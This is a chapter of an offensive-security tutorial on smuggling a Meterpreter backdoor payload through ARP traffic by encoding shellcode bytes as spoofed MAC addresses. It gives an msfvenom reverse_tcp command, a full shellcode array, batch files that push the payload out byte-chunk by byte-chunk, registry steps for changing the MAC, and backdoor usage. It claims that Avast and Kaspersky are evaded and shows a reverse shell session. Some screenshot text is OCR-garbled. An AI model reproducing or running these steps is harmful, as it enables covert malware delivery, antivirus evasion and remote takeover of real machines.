Part 2 (Infil/Exfiltration/Transferring Techniques by C#), Chapter 8 : Transferring Backdoor Payloads by ARP Traffic

#### Transferring Backdoor Payloads by ARP Traffic

### Understanding this method : Transfer Backdoor Payloads by ARP Traffic and bypassing AVs

After Previous Chapters about DNS Traffic now I want to explain how you can do this with ARP traffic in your network, and I want to tell you : "the most Anti Viruses can't detect this one"

Before I explain this technique, I want to show you how ARP traffic works in your network.



#### Picture 1: ARP traffic step by step

As you can see in picture 1 in (ARP, Step1) :

System A sent one Broadcast to all workstations = who is IP\_Address for example (192.168.1.5) I want your MAC?

In step2 system B responded to that broadcast traffic with one Packet Directly. I AM 192.168.1.5 and This is my MAC ADDRESS.

This (step2) is my "Important Point" for this Technique for transferring payloads via ARP Traffic.

Step3 doesn't matter for this technique!

#### Why?

Because an attacker can transfer their bytes via MAC\_Address and this is another highway for hackers and Malware/Viruses to transferring payload bytes silently over a network. This technique is very slow more often, but sometimes this is a good advantage for hackers, trust me ;) And it is not important how much time you need for the established connection with this technique because your servers or clients always is up in your network 24 Hours / every day (especially servers).

In this technique an attacker need two computers, but you can do it with one system only, but I want to explain this method with two systems on the attacker side. First system is linux and second is Win7-SP1 (macchanger system) on the attacker side.

And on the target side your System is Win7-SP1 too , so we have 3 systems.

With this technique, the backdoor does something like system A in Picture 1 and finally the backdoor can get payload bytes from the hacker system (macchanger system) with ARP traffic, in this case my backdoor try to download a meterpreter payload in ARP Traffic also with this method you can have DATA Infiltration/Exfiltration too.

Also you can see in this Chapter: I will get a Meterpreter session from (192.168.1.113 --> to --> Kali 192.168.1.50) after 38 Minutes transferring Payloads between IP: 192.168.1.113 (backdoor system) and IP: 192.168.1.5 (macchanger system) with the ARP Traffic also about DATA Exfiltration I will talk in this chapter via NativePayload\_ARP.sh script (Linux only).

Part 2 (Infil/Exfiltration/Transferring Techniques by C#), Chapter 8 : Transferring Backdoor Payloads by ARP Traffic

Step 1: Infected system by Backdoor ====→ Send Arp Request for 192.168.1.5 =→ Network

Step 2: Infected system by Backdoor ←==== Attacker System Win7 with IP 192.168.1.5 Response fake Mac
Note: fake Mac is Payload Binary Code for Meterpreter Session, this information Injected to MAC Address by ARP Response and Directly send to Infected system (Backdoor system)

# Step 3: Infected system by backdoor after Dumping all Binary Codes try to make <u>Meterpreter</u> Connection to Attacker Linux system (in this case after 37 minutes in my lab)

#### Picture 2: Attack by ARP Traffic steps

This technique is not fast at least on Windows , but it is possible.

we have some problems for this technique.

#### Where are the problems?

Before I explain where the problems are, first let me show you how my code works with a simple example:

Macchange.bat - Notepad	
File Edit Format View Help Fake MacAddress , {Payloads}	
Payload_to_Mac.exe 0007 00fc4883e4f0 "Local Area Connect	tion"
Payload_to_Mac.exe 0007 00e8cc000000 "Local Area Connect	tion"
Payload_to_Mac.exe 0007 004151415052 "Local Area Connect	tion"
Payload_to_Mac.exe 0007 0051564831d2 "Local Area Connect	tion"
Payload_to_Mac.exe 0007 006548865260 "Local Area Connect	tion"
Payload_to_Mac.exe 0007 00488b521848 "Local Area Connect	tion"
Payload_to_Mac.exe 000/ 008052204880 Local Area Connect	tion
Payload_to_Mac.exe 0007 007250480TD7 Local Area Connect	ion .
Payload_to_Mac.exe 0007 004844403109 Local Area Connect	10n
Payload_to_Mac.exe_0007_004831C0aC3C_LOCAT_A	d be 00
Payload to Mac eve 0007 0001/C022C20 Local Area connect	tion"
Payload to Mac exe 0007 004101090441 Local Area Connect	tion"
Payload to Mac eve 0007 000101220032 Local Area Connect	tion"
Payload to Mac eve 0007 002086423c48 "Local Area Connect	tion"
Payload to Mac exe 0007 002000423048 E00al Area Connect	tion"
Payload to Mac exe 0007 00180b020f85 "Local Area Connect	tion"
Payload to Mac.exe 0007 00720000008b "Local Area Connect	tion"
Pavload to Mac.exe 0007 008088000000 "Local Area Connect	tion"
Pavload to Mac.exe 0007 004885c07467 "Local Area Connect	tion"
Pavload to Mac.exe 0007 004801d0508b "Local Area Connect	tion"
Payload_to_Mac.exe 0007 004818448b40 "Local Area Connect	tion"
Payload_to_Mac.exe 0007 00204901d0e3 "Local Area Connect	tion"
Payload_to_Mac.exe 0007 005648ffc941 "Local Area Connect	tion"
Payload_to_Mac.exe 0007 008b34884801 "Local Area Connect	tion"
Payload_to_Mac.exe 0007 00d64d31c948 "Local Area Connect	tion"
Payload_to_Mac.exe 0007 0031c0ac41c1 "Local Area Connect	tion"
Payload_to_Mac.exe 0007 00c90d4101c1 "Local Area Connect	tion"
Payload_to_Mac.exe 0007 0038e075f14c "Local Area Connect	tion"
Payload_to_Mac.exe 0007 00034c240845 "Local Area Connect	tion"
Payload_to_Mac.exe 0007 0039d175d858 "Local Area Connect	tion"
Payload_to_Mac.exe 0007 00448b402449 "Local Area Connect	tion"
Payload_to_Mac.exe 0007 0001d066418b "Local Area Connect	tion"
Payload_to_Mac.exe 000/ 000c48448b40 "Local Area Connect	tion"
Payload_to_Mac.exe 000/ 001c4901d041 "Local Area Connect	- 10n" 🚽
▲	▶

#### Picture 3: BAT file in (macchanger system) for reply Fake MacAddress by injecting Payloads to MAC

Injecting Payload bytes as MAC ADDRESSES :

As you can see in picture 3 in line 1 we have one MACAddress: 00fc4883e4f0

This Mac\_Address has 2 sections. The first section is 00 , and the second section is fc4883e4f0 .

Section two is first bytes of First Line for Meterpreter Payload. This is not a MACAddress but you can use that as mac address via ARP traffic too.

With My tool "Payload\_to\_Mac.exe" you can set and Change NIC Network interface connection MAC very simply.

This tool works like macchanger in Linux .

In line 1 with this tool you can set MAC Address : 00fc4883e4f0 for "Local Area Connection"

#### Why do this?

Part 2 (Infil/Exfiltration/Transferring Techniques by C#), Chapter 8 : Transferring Backdoor Payloads by ARP Traffic

because i want to send Response with this Injected MAC address to an ARP Request.

So we have something like this :

- local Area connection is (Macchanger system)
- infected system is (backdoor system)

```
Infected system =→ who is 192.168.1.5?, give me your mac address ! "Local Area Connection"

Infected system =→ who is 192.168.1.5?, give me your mac address ! "Local Area Connection"

Infected system =→ who is 192.168.1.5?, give me your mac address ! "Local Area Connection"

Infected system =→ who is 192.168.1.5?, give me your mac address ! "Local Area Connection"

Infected system =→ who is 192.168.1.5?, give me your mac address ! "Local Area Connection"

Infected system =→ who is 192.168.1.5?, give me your mac address ! "Local Area Connection"

Infected system =→ who is 192.168.1.5?, give me your mac address ! "Local Area Connection"

Infected system =→ who is 192.168.1.5?, give me your mac address ! "Local Area Connection"

Infected system =→ who is 192.168.1.5?, give me your mac address ! "Local Area Connection"

Infected system =→ who is 192.168.1.5?, give me your mac address ! "Local Area Connection"

Infected system =→ who is 192.168.1.5?, give me your mac address ! "Local Area Connection"

Infected system =→ who is 192.168.1.5?, give me your mac address ! "Local Area Connection"

Infected system =→ who is 192.168.1.5?, give me your mac address ! "Local Area Connection"

Infected system =→ who is 192.168.1.5?, give me your mac address ! "Local Area Connection"

Infected system =→ who is 192.168.1.5?, give me your mac address ! "Local Area Connection"

Infected system =→ who is 192.168.1.5?, give me your mac address ! "Local Area Connection"

Infected system =→ who is 192.168.1.5?, give me your mac address ! "Local Area Connection"

Infected system =→ who is 192.168.1.5?, give me your mac address ! "Local Area Connection"

Infected system =→ who is 192.168.1.5?, give me your mac address ! "Local Area Connection"

Infected system =→ who is 192.168.1.5?, give me your mac address ! "Local Area Connection"

Infected system =→ who is 192.168.1.5?, give me your mac address ! "Local Area Connection"

Infected system =→ who is 192.168.1.5?, give me your mac address ! "Local Area Connection"

Infected system =→ wh
```

#### Picture 4:

Ok from these 3 responses we can dump these bytes of payload:

{ fc4883e4f0 + e8cc000000 + 4151415052 } == fc4883e4f0e8cc0000004151415052

Infected System (backdoor) ipaddress is 192.168.1.113 and win7-sp1 for attacker NIC Ipaddress is 192.168.1.5

Now you can compare picture 3 with picture 4 so this is your ARP traffic in this Technique for Transferring Payloads by ARP Traffic.

- Note : (Arpspoof, etthercap) tools in linux, if you want you can use these tools but I think your traffic with Arpspoof will detect by some AVs and firewalls, but I think with my method the risk of detection in the network or in the target infected system by AV or firewalls is very low.
- Note : MAC Duplicate is another Problem , and maybe happen in this technique so by that technique in picture 6 you can decrease this risk .

Now I want to say where is our problem in this Technique?

Infected system =→ who is 192.168.1.5?, give me your Mac address ! " Local Area Connection" Infected system ← my Mac is 00fc4883e4f0 " Local Area Connection" Infected system =→ who is 192.168.1.5?, give me your Mac address ! " Local Area Connection" Infected system =→ who is 192.168.1.5?, give me your Mac address ! " Local Area Connection" Infected system ← my Mac is 000c4dabc000 "Unknown NIC" Infected system ← who is 192.168.1.5?, give me your Mac address ! " Local Area Connection" Infected system =→ who is 192.168.1.5?, give me your Mac address ! " Local Area Connection" Infected system =→ who is 192.168.1.5?, give me your Mac address ! " Local Area Connection" Infected system ← my Mac is 00e8cc000000 " Local Area Connection" Infected system ← my Mac is 00e8cc000000 " Local Area Connection" Infected system =→ who is 192.168.1.5?, give me your Mac address ! " Local Area Connection" Infected system =→ who is 192.168.1.5?, give me your Mac address ! " Local Area Connection" Infected system =→ who is 192.168.1.5?, give me your Mac address ! " Local Area Connection" Infected system =→ who is 192.168.1.5?, give me your Mac address ! " Local Area Connection" Infected system =→ who is 192.168.1.5?, give me your Mac address ! " Local Area Connection" Infected system ← my Mac is 004151415052 " Local Area Connection" Infected system =→ who is 192.168.1.5?, give me your Mac address ! " Local Area Connection" Infected system =→ who is 192.168.1.5?, give me your Mac address ! " Local Area Connection" Infected system =→ who is 192.168.1.5?, give me your Mac address ! " Local Area Connection" Infected system =→ who is 192.168.1.5?, give me your Mac address ! " Local Area Connection" Infected system =→ who is 192.168.1.5?, give me your Mac address ! " Local Area Connection"

Picture 5:

So Now we have these payloads after our response :

#### { fc4883e4f0 + 000c4dabc000 + e8cc000000 + 4151415052 } == fc4883e4f0000c4dabc000e8cc0000004151415052

As you can see in picture 5 we have Red Mac-Address and our Payload now is incorrect.

So how can fix this problem?

Part 2 (Infil/Exfiltration/Transferring Techniques by C#), Chapter 8 : Transferring Backdoor Payloads by ARP Traffic

As you can see in picture 6 I have idea about that.



#### Picture 6:

You can change your Payload patterns from two sections to three sections

00{payload} ===> 00{payload}00f0

Now you can check new section in your backdoor code when you received one MAC Address without Section three your code should drop that MAC Address. Because that is unknown Response so this is not valid Injected Payload.

Now we can start this attack with my tools, but first you should make payloads:

In kali linux you can make payload with msfvenom . Kali linux ip-adrees is 192.168.1.50.

```
msfvenom –arch x86_64 –platform windows –p windows/x64/meterpreter/reverse_tcp lhsot=192.168.1.50 –f c > /root/desktop/payload.txt
```

Now you should copy this payload.txt from linux to windows system (Macchanger system) with IPadress 192.168.1.5 by new file with this format like picture 7

Part 2 (Infil/Exfiltration/Transferring Techniques by C#), Chapter 8 : Transferring Backdoor Payloads by ARP Traffic

💭 payloads.txt - Notepad	Http://192.168.1.50:8000/payload.txt - Windows Internet Explorer
File Edit Format View Help	🚱 🔾 🔻 🙋 http://192.168.1.50:8000/payload.txt 🔹 🍫 🗙 🔎 Bing 🔎
fc4883e4f0e8cc000000415141505251564831d265488b5260488b5218488	
<u></u>	x Q
	☆ Favorites
	unsigned char huf[] =
	"\xIC\x45\x85\x85\x84\x10\x86\x2C\x00\x00\x00\x00\x41\x51\x41\x50\x52\x "(x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
	"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
	"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
	"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
	"\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b"
	"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\x40\x50\x8b"
	"\v48\v18\v44\v8b\v40\v20\v40\v1\v40\v41\v43\v56\v48\v5f\v48\v5f\v40\v41"
	"\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1"
	"\xc9\x04\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45"
	"\v30\v41\v75\v48\v59\v44\v59\v44\v40\v24\v40\v01\v40\v66\v41\v8b"
	"\vd0\vd1\v58\vd1\v58\vd1\v58\vd1\v58\vd1\v58\vd1\v58\vd1\v58\vd1\v58\vd1
	"\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
	"\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00"
	"\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5"
	"\x49\xbc\x02\x00\x11\x5c\xc0\xa8\x01\x32\x41\x54\x49\x89\xe4"
	"\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68"
	"\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x05"
	"\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89"
	"\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5"
	"\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba"
	"\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5"
	"\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9"
	"\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5"
	"\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41"
	"\x59\x68\x00\x10\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41"
	"\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
	"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8"
	"\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40"
	"\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5"
	"\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c"
	"\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41"
	"\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5";

#### Picture 7: Payload.txt

Payload\_to\_Mac.exe tool:

At this time you should use the payload in picture 7 with this tool like picture 8, so you can copy this payload from payload.txt then paste that after switch "null" for Payload\_to\_Mac.exe.

#### syntax: Payload\_to\_Mac.exe null payload

Note: this application needs to run as administrator for changing the MAC Address

you can see all syntax for this tool after execute that without switch:



Picture 8 : Payload\_to\_Mac.exe Tool

And in this picture you can see I used Switch null + PAYLOAD string.

Part 2 (Infil/Exfiltration/Transferring Techniques by C#), Chapter 8 : Transferring Backdoor Payloads by ARP Traffic

C:4.	Administrator: Commar	nd Prompt			
C: 857 800 453	\Users\Damon\Des] 7250480fb74a4a4d 300004885c074674f 39d175d858448b40 512e94bfffffff	ktop>Payload_to_ 31c94831c0ac3c61 801d0508b4818448 244901d066418b0c 9bc7772225622220	Mac.exe null fc4 7c022c2041c1c90d b40204901d0e3564 48448b401c4901d0	883e 4f0e8cc010000415 4111c1e2ed524151488b 8ff:9418b34844801d64 418b04884801d0415841 1ec 0004984891000045845	14150525156 52208b423c4 d31c94831c0 585e595a415 c0200115cc0
ffa 84a 554 fd 414	154c89ea68010100 :89e24889f941ba9 1883c4205e89f66a 583f8007d2858415 ffe7586a005949c7	0059415a29806500 9a57461ffd585c07 4041596800100000 7596800400000415 c2f055a256ffd5	966413041565050 9ffd56a0541565050 940a49ffce75e5e893 941584889f24831c94 86a005a41ba0b2f0	16136794d31c048ffc048 30000004883ec104889e 41ba 58a453e54fd54889 F30f d5575941ba756e4	89c248ffc04 24d31c96a04 c34989c74d3 d61ffd549ff
Pay PuJ War War War	yload_to_Mac v1.0 blished by Damon ming : You shou ming : this cod ming : Win8 , Wi	0 Tool (MacChang Mohammadbagher 1d RunAs Adminis e tested in Win7 in10 Not Tested	<b>(er)</b> <b>trator this tool</b> 2x64-SP1 ;)	for changing Mac Ad	dress
Ste Ste Ste Ste Ste	ep I syntax 0: ep I syntax 1: ep I Example 1: ep II syntax 2: ep II Example 2: eck your Parent 1	Payload_to_Mac. Payload_to_Mac. Payload_to_Mac. Payload_to_Mac. Payload_to_Mac. Regkey in this a	exe null exe null "PAYLOO exe null "Sfff.55 exe Regkey_Baren exe 0007 005ff. ddress:	9" 83 <b>+8007d285841575968</b> 100+Payload] "Con 8583f8 "Local Area C	<b>0040''</b> nection Nam onnection''
SYS Coj You Pau	STEMNGurrentCont by these lines to i should RunAs Au ulnad to Mac.exe	rolSet\Control\C o one BAT file dministrator th 0002 00fc4883e4	Class 4036E92-E Is BAT file	325-11CE-BFC1-08002B	E10318>\
Pa Pa Pa Pa Pa	yload_to_Mac.exe yload_to_Mac.exe yload_to_Mac.exe yload_to_Mac.exe yload_to_Mac.exe	0007 00e8cc0000 0007 0041514150 0007 0051564831 0007 0065488b52 0007 0065488b5218	100 Local Networ 152 "Local Networ 152 "Local Networ 160 "Local Networ 148 "Local Networ 148 "Local Networ	k Connection" k Connection" k Connection" k Connection" k Connection" k Connection"	
Pa Pa Pa Pa Pa	yload_to_Mac.exe yload_to_Mac.exe yload_to_Mac.exe yload_to_Mac.exe yload_to_Mac.exe yload_to_Mac.exe	0007 007250480f 0007 007250480f 0007 004a4a4d31 0007 004831c0ac 0007 00617c022c 0007 0041c1c90d	'b7 "Local Networ b7 "Local Networ c9 "Local Networ 30 "Local Networ 20 "Local Networ 141 "Local Networ	k Connection" k Connection" k Connection" k Connection" k Connection"	
Pa Pa Pa Pa Pa Pa	yload_to_Mac.exe yload_to_Mac.exe yload_to_Mac.exe yload_to_Mac.exe yload_to_Mac.exe yload_to_Mac.exe	0007 0001c1e2ed 0007 0041514881 0007 00208b423c 0007 0001d06681 0007 00180b020f 0007 00180b020f	152 "Local Networ 152 "Local Networ 148 "Local Networ 178 "Local Networ 185 "Local Networ 185 "Local Networ	k Connection" k Connection" k Connection" k Connection" k Connection" k Connection"	
Pa Pa Pa Pa Pa	yload_to_Mac.exe yload_to_Mac.exe yload_to_Mac.exe yload_to_Mac.exe yload_to_Mac.exe yload_to_Mac.exe	0007 0080880000 0007 004885c074 0007 004885c074 0007 004801d050 0007 0048184481 0007 00204901d0	100 "Local Networ 167 "Local Networ 18b "Local Networ 190 "Local Networ 193 "Local Networ 193 "Local Networ	k Connection" k Connection" k Connection" k Connection" k Connection"	
Pa Pa Pa Pa	yload_to_Mac.exe yload_to_Mac.exe yload_to_Mac.exe yload_to_Mac.exe	0007 005648ffc9 0007 008b348848 0007 00d64d31c9 0007 0031c0ac41 III	/41 "Local Networ 101 "Local Networ 148 "Local Networ 1.c1 "Local Networ	k Connection" k Connection" k Connection" k Connection"	▼ 

**Picture 8-1: Switch null + payload** 

Now you should copy all lines and paste to one BAT file for example Macchanger.BAT like picture 9. Remember you should Run as Administrator this BAT file too. In this step you should add in the first line like picture 9 this MacAddress, this MAC Address is the flag for starting the ARP traffic in my code, so you should add this line manually and save that.

🥘 М	acchai	nge.bat - N	lotepa	d				l		) Σ	3
File	Edit	Format	View	Help							
Payl	load_	to_Mac.	exe	0007	00ff00ff00ff	"Local	Area	Connec	tion"		
Pay] Pay]	load_ load_	to_Mac. to_Mac.	exe exe	0007 0007	00fc4883e4f0 00e8cc000000	"Local "Local	Area Area	Connec Connec	tion" tion"	Ĩ	
Pay Pav	load_ load	to_Mac. to Mac.	exe	0007	004151415052 0051564831d2	"Local "Local	Area Area	Connec	tion" tion"		
Payl	load_	to_Mac.	exe	0007	0065488b5260 00488b521848	"Local	Area	Connec	tion"		=
Payl	load_	to_Mac.	exe	0007	008b5220488b	"Local	Area	Connec	tion"		
Pay	load_	to_Mac.	exe	0007	004a4a4d31c9	"Local	Area	Connec	tion"		
Pay   Pay	load_ load_	to_Mac. to_Mac.	exe	0007	004831C0aC3C 00617c022c20	"Local	Area Area	Connec	tion"		
Pay] Pay]	load_ load_	to_Mac. to_Mac.	exe exe	0007 0007	0041c1c90d41 0001c1e2ed52	"Local "Local	Area Area	Connec	tion" tion"		
Payl	load_	to_Mac.	exe	0007	004151488b52 00208b423c48	"Local	Area	Connec	tion"		
Pay	load_	to_Mac.	exe	0007	0001d0668178	"Local	Area	Connec	tion"		
Payl	load_	to_Mac. to_Mac.	exe	0007	00180b020185 00720000008b	"Local	Area	Connec	tion"		
Pay] Pav]	load_ load	to_Mac. to Mac.	exe	0007	008088000000 004885c07467	"Local "Local	Area Area	Connec	tion" tion"		
Payl	load_	to_Mac.	exe	0007	004801d0508b	"Local	Area	Connec	tion"		
Pay	load_	to_Mac.	exe	0007	00204901d0e3	"Local	Area	Connec	tion"		

Picture 9: Bat file with New Line .

Part 2 (Infil/Exfiltration/Transferring Techniques by C#), Chapter 8 : Transferring Backdoor Payloads by ARP Traffic

Now in this step you should add New line in the last line of this File again like picture 10 .

Macchange.bat - Notepad			
<u>F</u> ile <u>E</u> dit F <u>o</u> rmat <u>V</u> iew <u>H</u> elp			
Payload_to_Mac.exe 0007	004889f941ba "Local	Area Connection	ו" 🔺
Payload_to_Mac.exe 000/	0099a5/461TT LOCAL	Area Connection	1
Payload_to_Mac.exe 000/	000585C0740a LOCAT	Area Connection	1 
Payload to Mac exe 0007	00e893000000 "Local	Area Connection	
Pavload to Mac.exe 0007	004883ec1048 "Local	Area Connection	
Payload_to_Mac.exe 0007	0089e24d31c9 "Local	Area Connection	n''
Payload_to_Mac.exe 0007	006a04415848 "Local	Area Connection	י"
Payload_to_Mac.exe 0007	0089f941ba02 "Local	Area Connection	า"
Payload_to_Mac.exe 0007	00d9c85fffd5 "Local	Area Connection	י"
Payload_to_Mac.exe 000/	0083T800/e55 "Local	Area Connection	
Payload_to_Mac.exe 000/	0080f6654041 "Local	Area Connection	
Payload to Mac exe 0007	005968001000 "Local	Area Connection	
Pavload to Mac.exe 0007	000041584889 "Local	Area Connection	-"
Payload_to_Mac.exe 0007	00f24831c941 "Local	Area Connection	n''
Payload_to_Mac.exe 0007	00ba58a453e5 "Local	Area Connection	י"
Payload_to_Mac.exe 0007	00ffd54889c3 "Local	Area Connection	י"
Payload_to_Mac.exe 0007	004989c74d31 "Local	Area Connection	י"
Payload_to_Mac.exe 0007	00c94989f048 "Local	Area Connection	n''
Payload_to_Mac.exe 000/	00890a4889T9 Local	Area Connection	1°
Payload to Mac eve 0007	005fffd583f8 "Local	Area Connection	
Payload to Mac exe 0007	00007d285841 "Local	Area Connection	
Pavload to Mac.exe 0007	005759680040 "Local	Area Connection	i"
Payload_to_Mac.exe 0007	00000041586a "Local	Area Connection	n''
Payload_to_Mac.exe 0007	00005a41ba0b "Local	Area Connection	า" 🔰
Payload_to_Mac.exe 0007	002f0f30ffd5 "Local	Area Connection	า"
Payload_to_Mac.exe 0007	00575941ba75 "Local	Area Connection	י"
Payload_to_Mac.exe 000/	006e4d61ffd5 "Local	Area Connection	1 <sup>11</sup>
Payload_to_Mac.exe_0007	00fffffff4801 "Local	Area Connection	
Payload to Mac.exe 0007	00c34829c648 "Local	Area Connection	" /
Payload to Mac.exe 0007	0085f675b441 "Local	Area Connection	i" /
Payload_to_Mac.exe 0007	00ffe7586a00 "Local	Area Connection	n"
Payload_to_Mac.exe 0007	005949c7c2f0 "Local	Area Connection	י" 🖊 🗌
Payload_to_Mac.exe 0007	00b5a256ffd5 "Local	Area Connection	יין די
Payload_to_Mac.exe 0007	00fffffffff "Local	Area Connection	יי"
you should add this lin	e manually in the las	t line of BAT fil	e k a
ł			

#### Picture 10: Bat file with new line.

This mac address is flag for Finishing ARP traffic.

Now in this step you should check these properties in your Network Adapter and your registry Regkey\_Parent : for changing your mac address on Win7 you need to find this registry address in your windows by this path:

#### "SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}\"

After checking this path you should find your Parent\_Regkey in this case for my windows this parent\_key is 0007 As you can see in picture 11, in 0007 I found my NIC "Driver Desc"

Driver Desc = Intel® PRO/1000 MT Network

And you can see my Network Connection "Local Area Connection" properties is same with this Regkey Both are "Intel® PRO/1000 MT Network" so my correct Parent\_REGKEY is 0007. and this is not same for all windows so maybe in your Windows this number is different . Finally i should change all "Connection Name" from "Local Network Connection" to "Local Area Connection" In my BAT file line by line.

• Note: remember "Local Area Connection" IP-ADDRESS is "static = 192.168.1.5"

You should use static IP-Address in this case 192.168.1.5 , in picture 11 you can see these properties depend on your windows setting

Part 2 (Infil/Exfiltration/Transferring Techniques by C#), Chapter 8 : Transferring Backdoor Payloads by ARP Traffic



Picture 11: Bat file and Parent\_Regkey and Connection Name.

Note: if your setting in the BAT file was not matched by your registry and your NIC Name, this tool will not change your Mac Address.

Now my setting for Payload\_to\_mac.exe (Macchnager) is complete but you should use this tool after executing NativePayload\_ARP.exe tool on the infected system, this is really important for this technique, first run NativePayload\_ARP.exe in (backdoor system) tool then you can Run Payload\_to\_Mac.exe tool in (macchanger system).

Now you should use NativePayload\_ARP.exe to transferring the Meterpreter Payload with the ARP traffic and execute that in infected system memory.

#### NativePayload\_ARP.exe tool step by step:

Step 1: You can use this tool like picture 12 without arguments:

After running this tool you can type IPAddress for sending ARP traffic to this IPaddress (macchanger system) in this case 192.168.1.5 and press enter.

now you should type your local IPAddress for sending ARP request by this IP-Address and press enter.

in this case local IP-Address is 192.168.1.113 , this is IP-Address for (backdoor system) .

Note : infected system (backdoor system) IPaddress is (192.168.1.113) and my backdoor (NativePayload\_ARP.exe) Executed in this IPaddress like picture 12.



Picture 12: NativePayload\_ARP (backdoor) tool

Part 2 (Infil/Exfiltration/Transferring Techniques by C#), Chapter 8 : Transferring Backdoor Payloads by ARP Traffic

Finally after 38 minutes Meterpreter session Established like picture 13:



Picture 13: NativePayload\_ARP tool and transfer Backdoor Payload by ARP Traffic

I have best of the best Anti-viruses in the world, this stupid Avast bypassed without encryption method "Again".

as you can see in Picture 14 Kaspersky bypassed by this technique .

Command Droment NativeDayload AF			
Not Found : Get Mac ==> 192.1	/irus KA\$PER\$KYs	? – ×	
[115] Dumping Bytes: 575941b. NotFound : Get Mac ==> 192.1		$\sim 1 \times 1 \times 1$	
NotFound : Get Mac ==> 192.1 Found : Get Mac => 192.1 [116] Dumping Bytes: 6e4d61f:	Your computer is protected		
NotFound : Get Mac ==> 192.1 NotFound : Get Mac ==> 192.1 Found : Get Mac ==> 192.1	🔁 Kali 2016.II - VMware Wo	rkstation	
Found : Get Mac ==> 192.1	Details File Edit View VM	Tabs Help	
NotFound : Get Mac ==> 192.1 NotFound : Get Mac ==> 192.1 Found : Get Mac ==> 192.1			
NotFound : Get Mac ==> 192.1	🔂 Windows 7 x64 internal N	essus 🗙 🕞 Windows 7 x64 (M) 🛛 🙀 Kali 201	6.п ×
NotFound : Get Mac ==> 192.1 Found : Get Mac ==> 192.1 [120] Dumping Bytes: c34829c NotFound : Get Mac ==> 192.1 NotFound : Get Mac ==> 192.1	can <u>msf</u> exploit(h [*] Meterpret 017-02-01 00:	andler) > [*] Sending stage (118 er session 1 opened (192.168.1.5 14:04 +0000	9423 bytes) to 192.168.1.113 0:4444 -> 192.168.1.113:53362) at 2
Found : Get Mac ==> 192.1 [121] Dumping Bytes: 85f675b MatFault : Get Mac ==> 192.1	cans your computer and ext evices msf exploit(h	andler) > sessions -i 1	
NotFound : Get Mac ==> 192.1 Found : Get Mac ==> 192.1 [122] Dumping Bytes: ffe7586.	[*] Starting	interaction with 1	
NotFound : Get Mac ==> $192.1$ NotFound : Get Mac ==> $192.1$ Found : Get Mac ==> $192.1$	Reports <u>meterpreter</u> > Current pid:	getpid 1936	
NotFound : Get Mac ==> 192.1	iew the application operatic <u>meterpreter</u> >	ps -S 1936	
Found : Get Mac ==> 192.1 [124] Dumping Bytes: b5a256f:	Process List		
NotFound : Get Mac ==> 192.1 NotFound : Get Mac ==> 192.1 Found : Get Mac ==> 192.1			
	PID PPID	Name Arch	Session User Path
Debug Mode , Dumping this pa Debug Mode , you can compare load"	1936 4732 p. BC7) Docktop	NativePayload_ARP.exe x64	1 PC7\Damon C:\Users\Damo
fc4883e4f0e8cc00000041514150 💿 💿	II.PC/(besktop		
4801.005.08584818448540249701.0065357040177741637406 39 d1 75 d8 58 448 54 02 44 90 1. d0 66 41 8 50 c 48 44 8 54 01 c 4 90 1. ff e 05 8 41 5 95 a 48 8 51 2 e 94 5f ff ff ff 5d 49 5e 7773 32 5f 3 3 3 2	d0418504884801d041584: 000041564989e64881eca		-
41544989e44c89f141ba4c772607ffd54c89ea68010100 c248ffc04889c141baea0fdfe0ffd54889c76a1041584c 4990	005941ba29806b00ffd56	ick inside or press Ctrl+G.	Kaspersky Anti-Virus 17.0.0.611
f24831c7941ba5284453e5ffd5489c34989c7443ba2d9c85f 624831c941ba58a453e5ffd5489c34989c74431c94989 000041586a005a41ba0b2f0f30ffd5575941ba756e4d61	f 04889da4889f941ba02d76551114365162674265 ffd589ffcee93cffffff4801c34829c64885f675b	441ffe7586a00	Databases release date: 2/1/2017 1:30 AM
5949c?c2f0b5a256ffd5 End time : 2/1/2017 3:44:02 AM Bingo Meterpreter session by ARP Traffic ;)		-	
er o osuger nooro _ continue enorger soizs to _ toeesses os			Customize 13:30 / 38:37 : 14:
